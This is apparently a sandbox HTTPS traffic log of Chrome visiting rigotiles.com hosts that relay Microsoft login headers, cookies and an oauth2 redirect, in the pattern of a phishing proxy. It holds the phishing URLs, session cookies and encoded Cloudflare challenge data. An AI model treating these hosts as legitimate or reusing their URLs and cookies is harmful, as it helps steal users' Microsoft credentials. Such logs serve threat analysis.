2024-10-31 20:55:01 UTC	16384	OUT	Data Raw: 76 5f 38 64 62 36 38 61 65 66 61 39 64 65 65 37 31 61 3d 24 39 34 69 76 4c 6c 48 30 57 30 45 30 6c 68 6c 66 54 44 54 59 4b 37 6c 51 54 49 54 47 69 6f 55 48 2d 67 67 4d 6c 72 54 48 4e 34 6f 57 54 50 54 58 56 37 68 6c 53 4b 75 54 78 63 54 6c 67 38 54 72 6c 54 37 75 54 6f 77 69 4c 53 54 68 56 6f 79 71 37 54 46 68 54 2d 69 6f 68 67 37 58 4c 4b 75 6c 61 54 34 4a 54 4b 4b 78 44 54 54 79 54 79 64 48 70 54 47 56 75 6c 44 37 6b 54 6f 57 5a 4e 73 78 37 55 70 42 4b 4b 4c 76 34 54 49 50 39 58 6e 54 46 57 54 4b 56 54 59 7a 73 4a 6e 42 69 75 54 77 74 75 78 54 6c 57 56 6a 45 76 4a 69 54 75 77 6c 75 6f 73 39 24 75 35 54 78 57 4a 4d 38 70 62 54 54 6b 61 54 54 41 52 73 34 55 58 69 46 75 66 78 6a 75 77 5a 45 39 4c 30 35 45 54 4e 68 44 43 6a 68 36 78 35 35 66 4d 56 30 75 54 Data Ascii: v_8db68aefa9dee71a=$94ivLlH0W0E0lhlfTDTYK7lQTITGioUH-ggMlrTHN4oWTPTXV7hlSKuTxcTlg8TrlT7uTowiLSThVoyq7TFhT-iohg7XLKulaT4JTKKxDTTyTydHpTGVulD7kToWZNsx7UpBKKLv4TIP9XnTFWTKVTYzsJnBiuTwtuxTlWVjEvJiTuwluos9$u5TxWJM8pbTTkaTTARs4UXiFufxjuwZE9L05ETNhDCjh6x55fMV0uT
2024-10-31 20:55:01 UTC	16384	OUT	Data Raw: 32 66 37 4d 4c 4e 41 37 54 43 54 42 57 24 69 6c 56 6c 51 54 36 69 62 54 34 56 6f 69 6f 76 6a 53 49 62 79 45 55 54 76 54 45 56 6f 67 54 55 2d 42 56 6c 4c 54 51 69 4c 54 4c 58 54 2b 63 67 30 4c 43 54 38 54 45 51 6f 36 54 63 69 4c 64 6f 38 54 47 69 59 4a 54 79 54 5a 54 37 24 73 37 69 6f 48 78 30 54 69 54 4d 56 45 68 6f 46 54 73 6b 46 34 45 6c 54 4f 69 46 68 4c 55 54 46 30 77 48 61 76 69 64 56 77 73 6c 6f 69 56 69 46 73 6f 24 69 56 73 42 70 33 5a 78 68 2d 75 34 6c 33 54 55 54 37 56 54 47 54 76 5a 46 54 4c 39 69 6b 69 35 2d 4c 68 54 4c 69 46 56 6c 49 56 71 73 46 66 6c 56 54 4b 69 71 48 6c 57 54 71 73 37 50 50 51 54 42 56 37 30 54 51 39 48 67 46 73 4c 66 54 74 34 4c 37 6c 2d 54 4d 54 37 56 6f 63 69 2b 49 37 30 6c 35 54 4e 54 37 56 4c 62 69 58 69 37 56 54 38 54 Data Ascii: 2f7MLNA7TCTBW$ilVlQT6ibT4VoiovjSIbyEUTvTEVogTU-BVlLTQiLTLXT+cg0LCT8TEQo6TciLdo8TGiYJTyTZT7$s7ioHx0TiTMVEhoFTskF4ElTOiFhLUTF0wHavidVwsloiViFso$iVsBp3Zxh-u4l3TUT7VTGTvZFTL9iki5-LhTLiFVlIVqsFflVTKiqHlWTqs7PPQTBV70TQ9HgFsLfTt4L7l-TMT7Voci+I70l5TNT7VLbiXi7VT8T
2024-10-31 20:55:01 UTC	1439	OUT	Data Raw: 54 6c 58 61 35 6b 4a 73 68 37 46 66 4c 69 55 5a 74 47 63 4c 7a 69 48 69 78 75 6f 56 4e 4c 61 61 48 4a 77 54 41 30 78 75 6c 5a 34 6f 54 57 33 6c 4d 76 39 61 49 41 6c 41 35 32 70 74 69 69 6e 24 41 56 54 51 6c 53 41 79 56 37 41 47 30 54 74 54 58 24 4e 47 44 72 33 6f 69 6c 68 4b 41 54 68 64 30 2d 54 30 73 42 45 47 70 4a 64 73 39 53 53 78 67 50 69 34 75 6b 74 73 6b 69 57 37 4c 53 44 4b 69 77 30 52 71 6e 35 73 6c 68 4c 69 55 32 2d 51 57 6b 70 4a 50 4b 6c 75 6f 2b 54 76 4c 7a 24 46 74 54 50 69 59 30 4c 58 63 4a 73 51 45 2d 4c 4e 41 56 6f 68 47 6f 4e 53 78 74 33 52 66 6e 48 43 42 54 68 79 34 68 69 4c 55 48 52 6c 41 56 24 35 51 2b 54 33 4d 33 4e 6c 78 72 77 69 4c 74 52 75 69 79 54 34 37 6c 78 54 57 30 37 2d 57 6b 63 6b 54 6c 69 62 70 6c 43 4d 46 79 64 6a 54 61 56 Data Ascii: TlXa5kJsh7FfLiUZtGcLziHixuoVNLaaHJwTA0xulZ4oTW3lMv9aIAlA52ptiin$AVTQlSAyV7AG0TtTX$NGDr3oilhKAThd0-T0sBEGpJds9SSxgPi4uktskiW7LSDKiw0Rqn5slhLiU2-QWkpJPKluo+TvLz$FtTPiY0LXcJsQE-LNAVohGoNSxt3RfnHCBThy4hiLUHRlAV$5Q+T3M3NlxrwiLtRuiyT47lxTW07-WkckTlibplCMFydjTaV
2024-10-31 20:55:02 UTC	1300	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:55:01 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4552 Connection: close cf-chl-out-s: wheJT21M5ng6FA7xrmGIBgIVwQRcC8awVH3yhOqdKTwJrtWevmJdRvBL++hnDiwKlUrmO+HBLCRPMngMb1MCc8IKQ+yIluFRBd5kp7BToO1uLZ7J2dbWh3MDVMaQDyX6Xs6srtt+rmywPuZu1XErTGJ4vCT2aG1D9z4/NtdPxmQz1SiWrX8rU2IghE6MUo0C4/AkHEkoMhyQymPeRQ89ggf6HKDq87iEvD1OHutugc0XrFlWcomsqJq4rlZP9nLv+8AYNxlizVLRHdSzzQ/sZv5MjA/Np58ZPXD1+T7sfbX4oQVK8/iMlNZtwbIfDsAIegKTs4jzcU/IPyKvtpzhZsc4ASIVI7CoaemFm5hFxl+7tx35wlOvAm05B5jGY/SxKfq7VZssGgu3QCUhIHyna2YYgmGZbg9/P/6DGKFOu12Z09kAxUV0ErMTjAQXPnNLwI+zqrT5V6lrwhApaT1rYI/23kZkeiV2TuDqZfQ2rSPQD+jdFgi+OcmGYvOASKjElCcNIANAnG46bfpRQTzkF+MFJsyNDW+7dqa9DtoGIRRHBctpbYCI58sNr1il7jfRUD7kyQd9l7ijxuhfAhAv+IvvdHLAkQVYu5QpCZZwmA/9tqMROABn0OEZ6iY8wgXMbNCwpsZNp37IsNwoVEtOjjdqkzgLgTVcrs6Yls/TMAmZCQM6RxaqA125W2lq7pE6y2pHIkTd4vhbwsfgqEvYFGdUyuL3ZepOleDG5ydB2gFN0NJJ1MekeFTQ4Q7I1r8I8Vx4bzdqXepdUMxrHGSCZ0zYAK2PChQ0SCo4hk8YC3/rxal7UsJGoUkpYQcnBVkLx5NRlzqkS5luNl4sd/xM9mLMkkLOEZEihoAjUFYd00nyANYdn6ztdTCTVO23aMAWnB+zAPtO2aIqKuoxKaLMObkLh/QX2xJC188kKoI2WumEjhj0m9qYXjoQnEHUHp9N5RHGPXG4GX+0DkwWYXY3+y3w3cpMCMGbQ6LGDcCx65HWl24iUO [TRUNCATED]
2024-10-31 20:55:02 UTC	233	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 3a 20 47 75 78 67 59 64 78 43 35 42 6b 5a 51 76 74 33 58 45 76 69 43 51 78 36 74 64 67 2f 59 4d 73 4f 36 51 77 2f 73 67 4b 6b 44 38 30 55 73 54 58 35 7a 55 71 69 42 43 73 35 65 2b 6a 6a 30 4b 75 67 2b 44 2f 58 2f 77 76 37 49 4b 4d 58 66 65 51 45 30 45 78 33 6f 68 43 70 33 4c 44 65 76 6f 64 37 4e 51 45 6c 6d 74 69 78 4b 79 66 57 62 39 42 6b 68 69 57 66 50 51 55 3d 24 53 74 2f 4a 47 79 6d 5a 31 75 70 79 6a 77 49 33 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 64 62 36 38 62 32 62 65 38 38 36 34 35 65 39 2d 44 46 57 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: cf-chl-out: GuxgYdxC5BkZQvt3XEviCQx6tdg/YMsO6Qw/sgKkD80UsTX5zUqiBCs5e+jj0Kug+D/X/wv7IKMXfeQE0Ex3ohCp3LDevod7NQElmtixKyfWb9BkhiWfPQU=$St/JGymZ1upyjwI3Server: cloudflareCF-RAY: 8db68b2be88645e9-DFWalt-svc: h3=":443"; ma=86400
2024-10-31 20:55:02 UTC	1205	IN	Data Raw: 74 36 79 56 6c 4d 4b 6c 78 48 69 32 71 4d 57 57 77 4b 47 59 76 70 71 36 6f 37 4c 44 74 62 32 72 78 63 2f 61 73 5a 54 56 75 4a 79 36 30 38 4b 39 75 35 7a 63 31 4b 50 57 35 74 66 69 7a 65 44 68 7a 38 48 6b 35 64 76 6f 33 64 66 66 31 38 72 32 2b 4f 58 63 33 4d 32 33 38 4e 7a 67 76 50 54 6b 34 41 72 61 36 64 54 5a 34 63 72 35 2b 41 49 51 44 74 49 4b 45 2f 66 56 36 4f 4c 6b 31 4f 37 73 2b 2b 33 32 37 50 76 74 48 76 6f 51 4b 52 76 6d 36 4f 49 6b 46 2b 6e 69 43 53 7a 76 49 6a 50 7a 44 43 4d 55 4b 2f 59 48 2f 44 6b 55 44 42 63 56 46 44 59 4f 52 52 63 35 49 6a 76 39 46 52 6c 43 53 45 56 43 49 7a 52 4a 4e 30 59 74 4a 54 51 53 4f 68 4e 54 4b 30 6f 67 4e 42 6c 65 49 31 6c 56 4b 45 56 67 58 55 46 6d 61 46 35 62 59 32 70 6d 59 53 31 79 54 6d 42 43 4f 55 68 4b 52 56 6b Data Ascii: t6yVlMKlxHi2qMWWwKGYvpq6o7LDtb2rxc/asZTVuJy608K9u5zc1KPW5tfizeDhz8Hk5dvo3dff18r2+OXc3M238NzgvPTk4Ara6dTZ4cr5+AIQDtIKE/fV6OLk1O7s++327PvtHvoQKRvm6OIkF+niCSzvIjPzDCMUK/YH/DkUDBcVFDYORRc5Ijv9FRlCSEVCIzRJN0YtJTQSOhNTK0ogNBleI1lVKEVgXUFmaF5bY2pmYS1yTmBCOUhKRVk
2024-10-31 20:55:02 UTC	1369	IN	Data Raw: 7a 67 73 49 78 31 41 51 77 6c 4c 52 43 55 65 55 6b 63 6d 47 55 34 33 4c 44 4a 4c 55 6a 34 68 54 44 38 30 57 54 74 52 4f 54 4e 42 53 44 6b 71 50 30 34 2f 49 7a 78 54 51 6a 46 69 5a 46 68 4c 5a 47 52 4c 57 6a 42 67 64 48 78 31 62 55 42 61 65 57 64 6e 59 6f 56 37 61 55 70 67 67 57 42 6e 62 59 4e 78 58 32 31 2f 5a 31 6c 7a 68 6e 31 79 6a 59 65 54 63 6e 2b 54 63 47 47 6b 6d 5a 32 56 65 4a 6c 38 70 58 79 58 66 59 65 63 6b 49 53 30 6a 70 61 4a 75 4a 43 58 73 6f 2b 48 6f 48 65 42 65 71 4f 69 73 4c 32 6a 67 4b 65 53 76 61 72 41 7a 38 53 77 73 74 4c 42 73 61 65 67 76 38 2b 33 73 4c 71 36 6a 36 6e 52 77 4d 6d 76 77 37 50 63 33 4e 47 6a 75 37 2f 54 7a 4e 33 45 7a 36 75 75 77 39 76 43 38 4f 62 58 37 39 4c 79 34 37 57 36 30 4e 6e 64 73 2b 7a 77 35 62 37 64 2b 50 37 61 Data Ascii: zgsIx1AQwlLRCUeUkcmGU43LDJLUj4hTD80WTtROTNBSDkqP04/IzxTQjFiZFhLZGRLWjBgdHx1bUBaeWdnYoV7aUpggWBnbYNxX21/Z1lzhn1yjYeTcn+TcGGkmZ2VeJl8pXyXfYeckIS0jpaJuJCXso+HoHeBeqOisL2jgKeSvarAz8SwstLBsaegv8+3sLq6j6nRwMmvw7Pc3NGju7/TzN3Ez6uuw9vC8ObX79Ly47W60Nnds+zw5b7d+P7a
2024-10-31 20:55:02 UTC	1369	IN	Data Raw: 30 63 53 6a 4a 4c 44 46 64 5a 4a 52 55 54 4d 42 64 4a 4e 45 74 59 48 52 73 69 55 56 45 6b 4f 30 49 2b 58 57 31 43 52 6c 39 62 52 46 4d 72 62 6b 42 50 65 44 68 75 56 6e 6b 38 52 56 34 32 65 7a 74 65 50 47 39 36 58 6a 39 48 52 32 4a 6d 54 45 31 4e 51 57 4e 4a 62 34 2b 4c 68 56 42 52 64 31 42 74 55 70 53 4b 65 57 78 74 62 6f 43 42 6c 47 52 59 68 4b 69 47 69 59 65 66 69 6f 6d 48 6f 5a 79 4d 6e 61 52 77 6a 4a 69 74 72 33 65 7a 76 4a 6d 6e 76 33 32 79 73 4a 57 50 72 37 79 57 79 62 37 4b 75 73 47 68 79 6f 36 39 69 35 43 4e 30 63 37 58 6b 74 57 75 6b 5a 4f 6f 6c 37 76 4b 79 4c 2b 55 77 4c 7a 5a 77 64 66 4a 33 39 6a 4a 33 70 2f 58 76 76 48 4a 72 38 37 50 77 62 54 52 77 76 44 4d 31 65 7a 30 35 2f 48 33 39 2f 72 64 34 62 33 67 35 66 6e 33 78 2f 7a 38 79 41 50 6e 41 Data Ascii: 0cSjJLDFdZJRUTMBdJNEtYHRsiUVEkO0I+XW1CRl9bRFMrbkBPeDhuVnk8RV42eztePG96Xj9HR2JmTE1NQWNJb4+LhVBRd1BtUpSKeWxtboCBlGRYhKiGiYefiomHoZyMnaRwjJitr3ezvJmnv32ysJWPr7yWyb7KusGhyo69i5CN0c7XktWukZOol7vKyL+UwLzZwdfJ39jJ3p/XvvHJr87PwbTRwvDM1ez05/H39/rd4b3g5fn3x/z8yAPnA
2024-10-31 20:55:02 UTC	609	IN	Data Raw: 4b 4d 69 49 32 54 55 30 37 55 32 42 66 49 44 31 57 56 31 49 2f 4d 7a 56 57 52 43 4e 67 4f 6b 68 78 53 6b 78 6c 55 57 31 53 52 6d 68 57 51 6c 5a 73 54 6b 39 56 50 46 70 72 55 6e 64 64 68 31 64 54 58 58 35 6c 61 57 4a 58 5a 6e 46 65 58 47 4b 45 55 46 4e 6f 59 6c 56 75 64 35 31 36 64 6e 32 51 6c 36 42 34 62 35 4f 66 65 49 4f 5a 6b 35 32 65 62 47 53 49 67 4a 4a 36 69 33 2b 53 68 4a 43 75 64 59 79 50 64 35 32 78 6d 6f 74 35 6d 70 57 67 68 5a 32 59 76 36 65 67 6e 70 62 4c 7a 61 71 63 7a 4b 2f 47 6f 61 58 55 73 62 69 36 72 72 58 4d 33 4b 61 79 71 73 79 37 31 4e 65 33 76 72 79 30 74 72 76 48 7a 4e 2b 67 79 2b 4b 77 34 73 7a 72 76 73 6e 4b 32 63 57 79 37 66 7a 64 2b 39 54 62 37 38 4c 65 42 51 58 61 2b 41 72 68 2b 76 76 6f 36 2b 6f 44 34 51 6e 66 37 4f 58 66 38 77 Data Ascii: KMiI2TU07U2BfID1WV1I/MzVWRCNgOkhxSkxlUW1SRmhWQlZsTk9VPFprUnddh1dTXX5laWJXZnFeXGKEUFNoYlVud516dn2Ql6B4b5OfeIOZk52ebGSIgJJ6i3+ShJCudYyPd52xmot5mpWghZ2Yv6egnpbLzaqczK/GoaXUsbi6rrXM3Kayqsy71Ne3vry0trvHzN+gy+Kw4szrvsnK2cWy7fzd+9Tb78LeBQXa+Arh+vvo6+oD4Qnf7OXf8w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.16	53703	188.114.97.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:02 UTC	843	OUT	GET /jPsQWUcB?y=IUmJJik HTTP/1.1 Host: mail.rigotiles.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://mail.rigotiles.com/jPsQWUcB Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; x-ms-gateway-slice=estsfd
2024-10-31 20:55:02 UTC	867	IN	HTTP/1.1 302 Found Date: Thu, 31 Oct 2024 20:55:02 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Cache-Control: no-cache, no-store Location: https://mail.rigotiles.com/ cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=N0ZjsO0L8%2BckPm4wGta2LHQvVgORLqHwW6jgwu8Ztqakk5TihTisUZ3P0%2FYNzkAMu1XwTrAqhPXGC2GG9Ganti7GpNHVTPWlzaBAfudzslBCKRv1kxMBasGxfC5TCElJl8fspJ4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db68b32295f4871-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1998&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1421&delivery_rate=1423795&cwnd=251&unsent_bytes=0&cid=3c1f1414ecb9652b&ts=313&x=0"
2024-10-31 20:55:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.16	53702	104.18.95.41	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:02 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1827530087:1730405642:ltd0wnhF-wNUZPhVAbzH59KppvuK_FKCeFGLBlDqCYQ/8db68aefa9dee71a/7cykXcorcTo1NInY40PyAW.pmxtDKZjwQymE_8quY0M-1730408092-1.1.1.1-Ke.D64bIfKYJPApeFdyVZtu8wbDtjaUMDXBNn45ZRomcSu7xIPnksyDPYrWEyyBv HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:55:02 UTC	379	IN	HTTP/1.1 404 Not Found Date: Thu, 31 Oct 2024 20:55:02 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: TwJetu7gWe4F3IwYdyG0JvdhITuzuDPWpyU=$5YzHaorwKd7i3oId Server: cloudflare CF-RAY: 8db68b323c4fe93a-DFW alt-svc: h3=":443"; ma=86400
2024-10-31 20:55:02 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.16	53704	188.114.97.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:02 UTC	825	OUT	GET / HTTP/1.1 Host: mail.rigotiles.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://mail.rigotiles.com/jPsQWUcB Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; x-ms-gateway-slice=estsfd
2024-10-31 20:55:03 UTC	1353	IN	HTTP/1.1 302 Found Date: Thu, 31 Oct 2024 20:55:03 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Cache-Control: no-cache, no-store Expires: -1 Location: https://react.rigotiles.com/login Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} P3p: CP="DSP CUR OTPi IND OTRi ONL FIN" Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+wst"}]} Set-Cookie: fpc=AruFywdRNsJGosIYeIFG8IA; Path=/; Expires=Sat, 30 Nov 2024 20:55:03 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFe-AyN2vN-JZnTZfC12RmLUEtADKPEs35jiYAhQHvA7yy6XAZXDIvOksTiwlwkBdwZLRLEiuBbMqix2p0WltGmtzxvUP8xE8uk3ylawvpG2uOJgxdJBWBGlnqwE6QkVUUwW1cWu4pTSsWeRfeyE-7UsO2x5VMtIehx38SdhASkTlAgAA; Path=/; Domain=mail.rigotiles.com; HttpOnly; Secure; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; Path=/; HttpOnly; Secure; SameSite=None Set-Cookie: stsservicecookie=estsfd; Path=/; HttpOnly; Secure; SameSite=None Vary: Accept-Encoding X-Ms-Ests-Server: 2.1.19343.4 - SCUS ProdSlices X-Ms-Request-Id: 48af91ee-672d-44ac-ad59-4e8ff5983d00 X-Ms-Srs: 1.P
2024-10-31 20:55:03 UTC	297	IN	Data Raw: 63 66 2d 63 61 63 68 65 2d 73 74 61 74 75 73 3a 20 44 59 4e 41 4d 49 43 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 64 62 36 38 62 33 34 31 66 64 37 34 38 36 61 2d 44 46 57 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 37 34 26 73 65 6e 74 3d 35 26 72 65 63 76 3d 36 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 32 39 26 72 65 63 76 5f 62 79 74 65 73 3d 31 34 30 33 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 32 33 38 39 34 33 38 26 63 77 6e 64 3d 32 35 31 26 75 6e 73 65 6e 74 5f 62 79 Data Ascii: cf-cache-status: DYNAMICServer: cloudflareCF-RAY: 8db68b341fd7486a-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1174&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1403&delivery_rate=2389438&cwnd=251&unsent_by
2024-10-31 20:55:03 UTC	468	IN	Data Raw: 31 63 64 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6f 66 66 69 63 65 2e 63 6f 6d 2f 6c 6f 67 69 6e 23 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 68 32 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 73 2f 30 37 66 31 65 38 37 38 61 36 61 34 30 39 39 61 32 32 64 31 39 31 61 61 38 36 32 30 64 62 32 34 36 61 34 64 35 31 32 35 30 31 38 33 63 35 62 36 66 61 37 36 66 61 35 38 36 31 33 31 66 31 35 37 2f 65 39 31 32 31 38 37 66 66 Data Ascii: 1cd<html><head><title>Object moved</title></head><body><h2>Object moved to <a href="https://www.office.com/login#">here</a>.</h2><script type="application/javascript" src="/s/07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157/e912187ff
2024-10-31 20:55:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.16	53706	188.114.96.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:04 UTC	794	OUT	GET /login HTTP/1.1 Host: react.rigotiles.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://mail.rigotiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157
2024-10-31 20:55:05 UTC	1239	IN	HTTP/1.1 302 Found Date: Thu, 31 Oct 2024 20:55:05 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Cache-Control: no-cache, no-store Location: https://mail.rigotiles.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638660049050246663.ODc3ZjU4ZjQtODc2Zi00ODIzLWE0ZWYtZTkwNDU1YWI0OTFiM2NlOWFhNzEtMjU2Ny00ZjYwLTgzNzEtODIzYmIwYzA4ODM0&ui_locales=en-US&mkt=en-US&client-request-id=38bb8568-fea6-41ed-ae3e-ed6af3504c2b&state=x4Aec5a0t6Chw2Cmg3oyOPc-mwB2u0ch0KBYfu6mFO5Ma9nmM_3GwZPFX412dON63puN8EmddEU_qbWoXhATmOc0tMJNkQgq5JBQxfDDFQOnDaAULmUWlGDanz3aCy4nYqKb7pQIfefqVH19cqYbRn5LhF6TdIjTRmTo2w8AteES04W1enQACj8zsPIvZTVP2q0Ivk-tgunlyCULGc3oUQHLKsH_aN5xgAMMDXqLt9ycip-0aqZMys4sowroO7trqWt3x56-Y1VnFgP7VP530Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 Referrer-Policy: strict-origin-when-cross-origin Request-Context: appId= Set-Cookie: OH.DCAffinity=OH-wus; Path=/; Expires=Fri, 01 Nov 2024 04:55:05 GMT; HttpOnly; Secure; SameSite=None
2024-10-31 20:55:05 UTC	1494	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4f 48 2e 46 4c 49 44 3d 36 62 62 66 33 32 37 37 2d 31 65 32 39 2d 34 64 64 36 2d 62 65 62 66 2d 30 33 63 65 35 61 31 33 61 35 39 65 3b 20 50 61 74 68 3d 2f 3b 20 45 78 70 69 72 65 73 3d 46 72 69 2c 20 33 31 20 4f 63 74 20 32 30 32 35 20 32 30 3a 35 35 3a 30 35 20 47 4d 54 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4f 48 2e 53 49 44 3d 3b 20 50 61 74 68 3d 2f 3b 20 45 78 70 69 72 65 73 3d 54 68 75 2c 20 30 31 20 4a 61 6e 20 31 39 37 30 20 30 30 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 2e 41 73 70 4e 65 74 43 6f 72 65 2e 4f 70 65 6e 49 64 43 6f 6e 6e 65 63 74 2e 4e 6f 6e 63 65 2e 30 77 43 50 58 Data Ascii: Set-Cookie: OH.FLID=6bbf3277-1e29-4dd6-bebf-03ce5a13a59e; Path=/; Expires=Fri, 31 Oct 2025 20:55:05 GMT; HttpOnly; Secure; 